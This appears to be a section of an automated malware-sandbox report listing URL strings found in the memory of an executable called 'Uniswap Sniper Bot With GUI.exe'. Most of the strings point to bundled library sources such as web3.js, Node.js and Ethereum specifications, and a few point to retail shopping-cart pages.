Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1474.md
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-695.md
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-712.md
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/eth/block.yaml
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/eth/client.yaml
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/eth/execute.yaml
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/eth/fee_market.yaml
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/eth/fee_market.yaml#L42
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/eth/filter.yaml
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/eth/mining.yaml
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/eth/sign.yaml
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/eth/state.yaml
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/eth/submit.yaml
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/eth/transaction.yaml
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/schemas/block.yaml#L2
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/schemas/client.yaml#L2
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/schemas/filter.json#L28
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/schemas/filter.json#L59
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/schemas/filter.yaml#L2
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/schemas/receipt.yaml#L2
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/schemas/receipt.yaml#L36
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/schemas/transaction.yaml#L144
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/schemas/transaction.yaml#L211
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/schemas/transaction.yaml#L216
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/blob/main/src/schemas/transaction.yaml#L244
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/execution-apis/pull/201
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282490273.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-eth-iban
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-eth-personal
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-net
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-providers-http
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-providers-ipc
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-providers-ws
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-shh
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-utils
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/wiki/wiki/Ethereum-Contract-ABI)
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282490273.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/wiki/wiki/ICAP:-Inter-exchange-Client-Address-Protocol
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethers-io/ethers.js/blob/ce8f1e4015c0f27bf178238770b1325136e3351a/packages/json-w
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/facebook/react-native/pull/1632
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/facebook/regenerator/blob/main/LICENSE
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/fians/Waves/blob/master/LICENSE
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/floodyberry/poly1305-donna
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/floodyberry/poly1305-donna)
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/garycourt/uri-js
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/gulpjs/gulp.git#4.0
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ibc/yaeti.git
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/isaacs/color-support.
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/isaacs/yallist.git
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/joshstevens19/ethereum-bloom-filters/blob/fbeb47b70b46243c3963fe1c2988d7461ef1723
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/joyent/eng/blob/master/docs/index.md)
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/joyent/joyent-gerrit/blob/master/docs/user/README.md).
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/joyent/node/issues/1726
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/joyent/node/issues/3295.
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/maiavictor/xhr-request-promise#readme
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mathiasbynens/punycode.js.git
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mathiasbynens/utf8.js.git
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mattdesl
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mattdesl/url-set-query
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/meta-dapp/pcs-sniper-bot
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/meta-dapp/quickswap-sniper-bot
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/meta-dapp/uniswap-sniper-bot.git
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mikeal/tunnel-agent
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mysticatea/abort-controller
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/naugtur/xhr
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/naugtur/xhr/issues/100.
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/node-fetch/node-fetch#custom-agent
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/node-modules/urlencode
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node-v0.x-archive/issues/2876.
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/commit/112cc7c27551254aa2b17098fb774867f05ed0d9
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node/commit/ec2822adaad76b126b5cccdeaa1addf2376c9aa6
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node/commit/f7620fb96d339f704932f9bb9a0dceb9952df2d4
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/10673
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/13435
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/2119
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/8871#issuecomment-250915913
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/9006
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/12342
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/13870#discussion_r124515293
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/1771#issuecomment-119351671
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/21313
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/30958
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/33661
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/35949#issuecomment-722496598
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/38433#issuecomment-828426932
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/npm/wrappy
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/paulmillr/noble-hashes/issues/25#issuecomment-1750106284
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/shtylman/node-cookie
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sindresorhus/p-is-promise/blob/cda35a513bda03f977ad5cde3a079d237e82d7ef/index.js
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sponsors/colinhacks
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sponsors/ljharb
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/substack/node-bufferlist
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/theturtle32)
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/theturtle32/WebSocket-Node
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/theturtle32/WebSocket-Node.git
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/theturtle32/WebSocket-Node/blob/master/docs/WebSocketClient.md#connectrequesturl-
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/theturtle32/WebSocket-Node/issues/288
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/unshiftio/ultron
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282490273.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/uuidjs/uuid
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282490273.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/uuidjs/uuid.git
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/uuidjs/uuid/blob/main/src/v4.js#L5
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/web3/web3.js/issues/4454#issuecomment-1485953455)
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/web3/web3.js/issues/6187
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/websockets/ws
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/websockets/ws/issues/1202
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/websockets/ws/issues/1869.
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://goo.gl/t5IS6M).
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/comms.html#the-websocket-interface
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-setinterval
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#forgiving-base64
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#forgiving-base64-decode
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://invisible-island.net/xterm/ctlseqs/ctlseqs.html
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/json-schema-validation.html#rfc.section.9
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/understanding-json-schema/reference/generic.html
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://linux.die.net/man/1/dircolors).
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mathiasbynens.be/
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://mathiasbynens.be/notes/javascript-encoding
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mths.be/punycode
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mths.be/utf8js
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://myshop.amplify.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/)
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282490273.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://opensource.org/licenses/MIT
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Dogfalo/materialize/master/LICENSE)
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/stefanpenner/es6-promise/master/LICENSE
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://secure.houseofbeautyworld.com/(
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://secure.newegg.com/shop/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://shop.advanceautoparts.com/web/orderitemdisplay/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://shop.lululemon.com/shop/mybag/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/a/3143231
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/a/46181/1550155
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/a/5501711/3561
